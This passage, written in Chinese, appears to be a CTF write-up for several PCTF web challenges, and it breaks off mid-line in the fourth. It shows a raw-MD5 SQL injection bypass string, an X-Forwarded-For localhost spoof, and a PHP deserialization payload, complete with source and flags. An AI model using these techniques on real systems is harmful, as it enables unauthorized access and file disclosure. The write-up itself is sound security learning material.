WEB
PORT 51
打开后发现需要利用51端口进行访问呢
直接利用curl命令访问即可
命令用法
curl –local-port 51 http://xx
flag:PCTF{M45t3r_oF_CuRl}
Login
打开后是一个输入框,随便输入,尝试抓包,得到hintHint: "select * from `admin` where password='".md5($pass,true)."'"
直接百度,得到一个博客
直接输入字符串ffifdyop得到flag
LOCALHOST
看来需要localhost access only!!
直接利用Modify Headers直接加上X-Forwarded-For: 127.0.0.1
即可
神盾局的秘密
打开是一张图片,直接抓包
会发现有个base64编码的地址,猜测这是利用base64访问任意文件
访问showimg.php
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
访问index.php
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
查看shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
看到源码可以知道这是一个序列化的漏洞,直接按照格式生成一个,payload
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
}
$a = new Shield();
$a->file = "pctf.php";
echo serialize($a);
?>
得到
O:6:"Shield":1:{
s:4:"file";s:8:"pctf.php";}
flag
<?php
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
IN a mess
查看源码得到提示index.phps
,访问得
?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,